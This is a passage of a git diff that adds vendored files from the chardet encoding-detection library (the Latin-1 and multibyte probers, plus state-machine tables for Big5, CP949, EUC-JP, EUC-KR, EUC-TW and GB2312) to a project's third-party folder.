'Ô' + 213: 115, # 'Õ' + 214: 50, # 'Ö' + 215: 90, # '×' + 216: 114, # 'Ø' + 217: 113, # 'Ù' + 218: 112, # 'Ú' + 219: 111, # 'Û' + 220: 55, # 'Ü' + 221: 41, # 'İ' + 222: 40, # 'Ş' + 223: 86, # 'ß' + 224: 89, # 'à' + 225: 70, # 'á' + 226: 59, # 'â' + 227: 78, # 'ã' + 228: 71, # 'ä' + 229: 82, # 'å' + 230: 88, # 'æ' + 231: 33, # 'ç' + 232: 77, # 'è' + 233: 66, # 'é' + 234: 84, # 'ê' + 235: 83, # 'ë' + 236: 110, # 'ì' + 237: 75, # 'í' + 238: 61, # 'î' + 239: 96, # 'ï' + 240: 30, # 'ğ' + 241: 67, # 'ñ' + 242: 109, # 'ò' + 243: 74, # 'ó' + 244: 87, # 'ô' + 245: 102, # 'õ' + 246: 34, # 'ö' + 247: 95, # '÷' + 248: 81, # 'ø' + 249: 108, # 'ù' + 250: 76, # 'ú' + 251: 72, # 'û' + 252: 17, # 'ü' + 253: 6, # 'ı' + 254: 19, # 'ş' + 255: 107, # 'ÿ' +} + +ISO_8859_9_TURKISH_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-9', + language='Turkish', + char_to_order_map=ISO_8859_9_TURKISH_CHAR_TO_ORDER, + language_model=TURKISH_LANG_MODEL, + typical_positive_ratio=0.97029, + keep_ascii_letters=True, + alphabet='ABCDEFGHIJKLMNOPRSTUVYZabcdefghijklmnoprstuvyzÂÇÎÖÛÜâçîöûüĞğİıŞş') + diff --git a/src/thirdparty/chardet/latin1prober.py b/src/thirdparty/chardet/latin1prober.py new file mode 100644 index 0000000000..7d1e8c20fb --- /dev/null +++ b/src/thirdparty/chardet/latin1prober.py @@ -0,0 +1,145 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState + +FREQ_CAT_NUM = 4 + +UDF = 0 # undefined +OTH = 1 # other +ASC = 2 # ascii capital letter +ASS = 3 # ascii small letter +ACV = 4 # accent capital vowel +ACO = 5 # accent capital other +ASV = 6 # accent small vowel +ASO = 7 # accent small other +CLASS_NUM = 8 # total classes + +Latin1_CharToClass = ( + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 00 - 07 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 08 - 0F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 10 - 17 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 18 - 1F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 20 - 27 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 28 - 2F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 30 - 37 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 38 - 3F + OTH, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 40 - 47 + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 48 - 4F + ASC, ASC, ASC, ASC, ASC, ASC, ASC, ASC, # 50 - 57 + ASC, ASC, ASC, OTH, OTH, OTH, OTH, OTH, # 58 - 5F + OTH, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 60 - 67 + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 68 - 6F + ASS, ASS, ASS, ASS, ASS, ASS, ASS, ASS, # 70 - 77 + ASS, ASS, ASS, OTH, OTH, OTH, OTH, OTH, # 78 - 7F + OTH, UDF, OTH, ASO, OTH, OTH, OTH, OTH, # 80 - 87 + OTH, OTH, ACO, OTH, ACO, UDF, ACO, UDF, # 88 - 8F + UDF, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # 90 - 97 + OTH, OTH, ASO, OTH, ASO, UDF, ASO, ACO, # 98 - 9F + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A0 - A7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # A8 - AF + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B0 - B7 + OTH, OTH, OTH, OTH, OTH, OTH, OTH, OTH, # B8 - BF + ACV, ACV, ACV, ACV, ACV, ACV, ACO, ACO, # C0 - C7 + ACV, ACV, ACV, ACV, ACV, ACV, ACV, ACV, # C8 - CF + ACO, ACO, ACV, ACV, ACV, ACV, ACV, OTH, # D0 - D7 + ACV, ACV, ACV, ACV, ACV, ACO, ACO, ACO, # D8 - DF + ASV, ASV, ASV, ASV, ASV, ASV, ASO, ASO, # E0 - E7 + ASV, ASV, ASV, ASV, ASV, ASV, ASV, ASV, # E8 - EF + ASO, ASO, ASV, ASV, ASV, ASV, ASV, OTH, # F0 - F7 + ASV, ASV, ASV, ASV, ASV, ASO, ASO, ASO, # F8 - FF +) + +# 0 : illegal +# 1 : very unlikely +# 2 : normal +# 3 : very likely +Latin1ClassModel = ( +# UDF OTH ASC ASS ACV ACO ASV ASO + 0, 0, 0, 0, 0, 0, 0, 0, # UDF + 0, 3, 3, 3, 3, 3, 3, 3, # OTH + 0, 3, 3, 3, 3, 3, 3, 3, # ASC + 0, 3, 3, 3, 1, 1, 3, 3, # ASS + 0, 3, 3, 3, 1, 2, 1, 2, # ACV + 0, 3, 3, 3, 3, 3, 3, 3, # ACO + 0, 3, 1, 3, 1, 1, 1, 3, # ASV + 0, 3, 1, 3, 1, 1, 3, 3, # ASO +) + + +class Latin1Prober(CharSetProber): + def __init__(self): + super(Latin1Prober, self).__init__() + self._last_char_class = None + self._freq_counter = None + self.reset() + + def reset(self): + self._last_char_class = OTH + self._freq_counter = [0] * FREQ_CAT_NUM + CharSetProber.reset(self) + + @property + def charset_name(self): + return "ISO-8859-1" + + @property + def language(self): + return "" + + def feed(self, byte_str): + byte_str = self.filter_with_english_letters(byte_str) + for c in byte_str: + char_class = Latin1_CharToClass[c] + freq = Latin1ClassModel[(self._last_char_class * CLASS_NUM) + + char_class] + if freq == 0: + self._state = ProbingState.NOT_ME + break + self._freq_counter[freq] += 1 + self._last_char_class = char_class + + return self.state + + def get_confidence(self): + if self.state == ProbingState.NOT_ME: + return 0.01 + + total = sum(self._freq_counter) + if total < 0.01: + confidence = 0.0 + else: + confidence = ((self._freq_counter[3] - self._freq_counter[1] * 20.0) + / total) + if confidence < 0.0: + confidence = 0.0 + # lower the confidence of latin1 so that other more accurate + # detector can take priority. + confidence = confidence * 0.73 + return confidence diff --git a/src/thirdparty/chardet/mbcharsetprober.py b/src/thirdparty/chardet/mbcharsetprober.py new file mode 100644 index 0000000000..6256ecfd1e --- /dev/null +++ b/src/thirdparty/chardet/mbcharsetprober.py @@ -0,0 +1,91 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Proofpoint, Inc. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetprober import CharSetProber +from .enums import ProbingState, MachineState + + +class MultiByteCharSetProber(CharSetProber): + """ + MultiByteCharSetProber + """ + + def __init__(self, lang_filter=None): + super(MultiByteCharSetProber, self).__init__(lang_filter=lang_filter) + self.distribution_analyzer = None + self.coding_sm = None + self._last_char = [0, 0] + + def reset(self): + super(MultiByteCharSetProber, self).reset() + if self.coding_sm: + self.coding_sm.reset() + if self.distribution_analyzer: + self.distribution_analyzer.reset() + self._last_char = [0, 0] + + @property + def charset_name(self): + raise NotImplementedError + + @property + def language(self): + raise NotImplementedError + + def feed(self, byte_str): + for i in range(len(byte_str)): + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if (self.distribution_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + return self.distribution_analyzer.get_confidence() diff --git a/src/thirdparty/chardet/mbcsgroupprober.py b/src/thirdparty/chardet/mbcsgroupprober.py new file mode 100644 index 0000000000..530abe75e0 --- /dev/null +++ b/src/thirdparty/chardet/mbcsgroupprober.py @@ -0,0 +1,54 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# Proofpoint, Inc. +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetgroupprober import CharSetGroupProber +from .utf8prober import UTF8Prober +from .sjisprober import SJISProber +from .eucjpprober import EUCJPProber +from .gb2312prober import GB2312Prober +from .euckrprober import EUCKRProber +from .cp949prober import CP949Prober +from .big5prober import Big5Prober +from .euctwprober import EUCTWProber + + +class MBCSGroupProber(CharSetGroupProber): + def __init__(self, lang_filter=None): + super(MBCSGroupProber, self).__init__(lang_filter=lang_filter) + self.probers = [ + UTF8Prober(), + SJISProber(), + EUCJPProber(), + GB2312Prober(), + EUCKRProber(), + CP949Prober(), + Big5Prober(), + EUCTWProber() + ] + self.reset() diff --git a/src/thirdparty/chardet/mbcssm.py b/src/thirdparty/chardet/mbcssm.py new file mode 100644 index 0000000000..8360d0f284 --- /dev/null +++ b/src/thirdparty/chardet/mbcssm.py @@ -0,0 +1,572 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .enums import MachineState + +# BIG5 + +BIG5_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as legal value + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,1, # 78 - 7f + 4,4,4,4,4,4,4,4, # 80 - 87 + 4,4,4,4,4,4,4,4, # 88 - 8f + 4,4,4,4,4,4,4,4, # 90 - 97 + 4,4,4,4,4,4,4,4, # 98 - 9f + 4,3,3,3,3,3,3,3, # a0 - a7 + 3,3,3,3,3,3,3,3, # a8 - af + 3,3,3,3,3,3,3,3, # b0 - b7 + 3,3,3,3,3,3,3,3, # b8 - bf + 3,3,3,3,3,3,3,3, # c0 - c7 + 3,3,3,3,3,3,3,3, # c8 - cf + 3,3,3,3,3,3,3,3, # d0 - d7 + 3,3,3,3,3,3,3,3, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,3,3,3, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,3,3,0 # f8 - ff +) + +BIG5_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,#08-0f + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START#10-17 +) + +BIG5_CHAR_LEN_TABLE = (0, 1, 1, 2, 0) + +BIG5_SM_MODEL = {'class_table': BIG5_CLS, + 'class_factor': 5, + 'state_table': BIG5_ST, + 'char_len_table': BIG5_CHAR_LEN_TABLE, + 'name': 'Big5'} + +# CP949 + +CP949_CLS = ( + 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,0,0, # 00 - 0f + 1,1,1,1,1,1,1,1, 1,1,1,0,1,1,1,1, # 10 - 1f + 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 20 - 2f + 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1, # 30 - 3f + 1,4,4,4,4,4,4,4, 4,4,4,4,4,4,4,4, # 40 - 4f + 4,4,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 50 - 5f + 1,5,5,5,5,5,5,5, 5,5,5,5,5,5,5,5, # 60 - 6f + 5,5,5,5,5,5,5,5, 5,5,5,1,1,1,1,1, # 70 - 7f + 0,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 80 - 8f + 6,6,6,6,6,6,6,6, 6,6,6,6,6,6,6,6, # 90 - 9f + 6,7,7,7,7,7,7,7, 7,7,7,7,7,8,8,8, # a0 - af + 7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7, # b0 - bf + 7,7,7,7,7,7,9,2, 2,3,2,2,2,2,2,2, # c0 - cf + 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # d0 - df + 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,2, # e0 - ef + 2,2,2,2,2,2,2,2, 2,2,2,2,2,2,2,0, # f0 - ff +) + +CP949_ST = ( +#cls= 0 1 2 3 4 5 6 7 8 9 # previous state = + MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.START,MachineState.START, 4, 5,MachineState.ERROR, 6, # MachineState.START + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, # MachineState.ERROR + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME, # MachineState.ITS_ME + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 3 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 4 + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, # 5 + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START, # 6 +) + +CP949_CHAR_LEN_TABLE = (0, 1, 2, 0, 1, 1, 2, 2, 0, 2) + +CP949_SM_MODEL = {'class_table': CP949_CLS, + 'class_factor': 10, + 'state_table': CP949_ST, + 'char_len_table': CP949_CHAR_LEN_TABLE, + 'name': 'CP949'} + +# EUC-JP + +EUCJP_CLS = ( + 4,4,4,4,4,4,4,4, # 00 - 07 + 4,4,4,4,4,4,5,5, # 08 - 0f + 4,4,4,4,4,4,4,4, # 10 - 17 + 4,4,4,5,4,4,4,4, # 18 - 1f + 4,4,4,4,4,4,4,4, # 20 - 27 + 4,4,4,4,4,4,4,4, # 28 - 2f + 4,4,4,4,4,4,4,4, # 30 - 37 + 4,4,4,4,4,4,4,4, # 38 - 3f + 4,4,4,4,4,4,4,4, # 40 - 47 + 4,4,4,4,4,4,4,4, # 48 - 4f + 4,4,4,4,4,4,4,4, # 50 - 57 + 4,4,4,4,4,4,4,4, # 58 - 5f + 4,4,4,4,4,4,4,4, # 60 - 67 + 4,4,4,4,4,4,4,4, # 68 - 6f + 4,4,4,4,4,4,4,4, # 70 - 77 + 4,4,4,4,4,4,4,4, # 78 - 7f + 5,5,5,5,5,5,5,5, # 80 - 87 + 5,5,5,5,5,5,1,3, # 88 - 8f + 5,5,5,5,5,5,5,5, # 90 - 97 + 5,5,5,5,5,5,5,5, # 98 - 9f + 5,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,2,2,2, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,2,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,0,5 # f8 - ff +) + +EUCJP_ST = ( + 3, 4, 3, 5,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 3,MachineState.ERROR,#18-1f + 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START#20-27 +) + +EUCJP_CHAR_LEN_TABLE = (2, 2, 2, 3, 1, 0) + +EUCJP_SM_MODEL = {'class_table': EUCJP_CLS, + 'class_factor': 6, + 'state_table': EUCJP_ST, + 'char_len_table': EUCJP_CHAR_LEN_TABLE, + 'name': 'EUC-JP'} + +# EUC-KR + +EUCKR_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 1,1,1,1,1,1,1,1, # 40 - 47 + 1,1,1,1,1,1,1,1, # 48 - 4f + 1,1,1,1,1,1,1,1, # 50 - 57 + 1,1,1,1,1,1,1,1, # 58 - 5f + 1,1,1,1,1,1,1,1, # 60 - 67 + 1,1,1,1,1,1,1,1, # 68 - 6f + 1,1,1,1,1,1,1,1, # 70 - 77 + 1,1,1,1,1,1,1,1, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,3,3,3, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,3,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 2,2,2,2,2,2,2,2, # e0 - e7 + 2,2,2,2,2,2,2,2, # e8 - ef + 2,2,2,2,2,2,2,2, # f0 - f7 + 2,2,2,2,2,2,2,0 # f8 - ff +) + +EUCKR_ST = ( + MachineState.ERROR,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #08-0f +) + +EUCKR_CHAR_LEN_TABLE = (0, 1, 2, 0) + +EUCKR_SM_MODEL = {'class_table': EUCKR_CLS, + 'class_factor': 4, + 'state_table': EUCKR_ST, + 'char_len_table': EUCKR_CHAR_LEN_TABLE, + 'name': 'EUC-KR'} + +# EUC-TW + +EUCTW_CLS = ( + 2,2,2,2,2,2,2,2, # 00 - 07 + 2,2,2,2,2,2,0,0, # 08 - 0f + 2,2,2,2,2,2,2,2, # 10 - 17 + 2,2,2,0,2,2,2,2, # 18 - 1f + 2,2,2,2,2,2,2,2, # 20 - 27 + 2,2,2,2,2,2,2,2, # 28 - 2f + 2,2,2,2,2,2,2,2, # 30 - 37 + 2,2,2,2,2,2,2,2, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,2, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,6,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,3,4,4,4,4,4,4, # a0 - a7 + 5,5,1,1,1,1,1,1, # a8 - af + 1,1,1,1,1,1,1,1, # b0 - b7 + 1,1,1,1,1,1,1,1, # b8 - bf + 1,1,3,1,3,3,3,3, # c0 - c7 + 3,3,3,3,3,3,3,3, # c8 - cf + 3,3,3,3,3,3,3,3, # d0 - d7 + 3,3,3,3,3,3,3,3, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,3,3,3, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,3,3,0 # f8 - ff +) + +EUCTW_ST = ( + MachineState.ERROR,MachineState.ERROR,MachineState.START, 3, 3, 3, 4,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.START,MachineState.ERROR,#10-17 + MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,#20-27 + MachineState.START,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f +) + +EUCTW_CHAR_LEN_TABLE = (0, 0, 1, 2, 2, 2, 3) + +EUCTW_SM_MODEL = {'class_table': EUCTW_CLS, + 'class_factor': 7, + 'state_table': EUCTW_ST, + 'char_len_table': EUCTW_CHAR_LEN_TABLE, + 'name': 'x-euc-tw'} + +# GB2312 + +GB2312_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 3,3,3,3,3,3,3,3, # 30 - 37 + 3,3,1,1,1,1,1,1, # 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,4, # 78 - 7f + 5,6,6,6,6,6,6,6, # 80 - 87 + 6,6,6,6,6,6,6,6, # 88 - 8f + 6,6,6,6,6,6,6,6, # 90 - 97 + 6,6,6,6,6,6,6,6, # 98 - 9f + 6,6,6,6,6,6,6,6, # a0 - a7 + 6,6,6,6,6,6,6,6, # a8 - af + 6,6,6,6,6,6,6,6, # b0 - b7 + 6,6,6,6,6,6,6,6, # b8 - bf + 6,6,6,6,6,6,6,6, # c0 - c7 + 6,6,6,6,6,6,6,6, # c8 - cf + 6,6,6,6,6,6,6,6, # d0 - d7 + 6,6,6,6,6,6,6,6, # d8 - df + 6,6,6,6,6,6,6,6, # e0 - e7 + 6,6,6,6,6,6,6,6, # e8 - ef + 6,6,6,6,6,6,6,6, # f0 - f7 + 6,6,6,6,6,6,6,0 # f8 - ff +) + +GB2312_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START, 3,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,#10-17 + 4,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + MachineState.ERROR,MachineState.ERROR, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#20-27 + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.START #28-2f +) + +# To be accurate, the length of class 6 can be either 2 or 4. +# But it is not necessary to discriminate between the two since +# it is used for frequency analysis only, and we are validating +# each code range there as well. So it is safe to set it to be +# 2 here. +GB2312_CHAR_LEN_TABLE = (0, 1, 1, 1, 1, 1, 2) + +GB2312_SM_MODEL = {'class_table': GB2312_CLS, + 'class_factor': 7, + 'state_table': GB2312_ST, + 'char_len_table': GB2312_CHAR_LEN_TABLE, + 'name': 'GB2312'} + +# Shift_JIS + +SJIS_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, 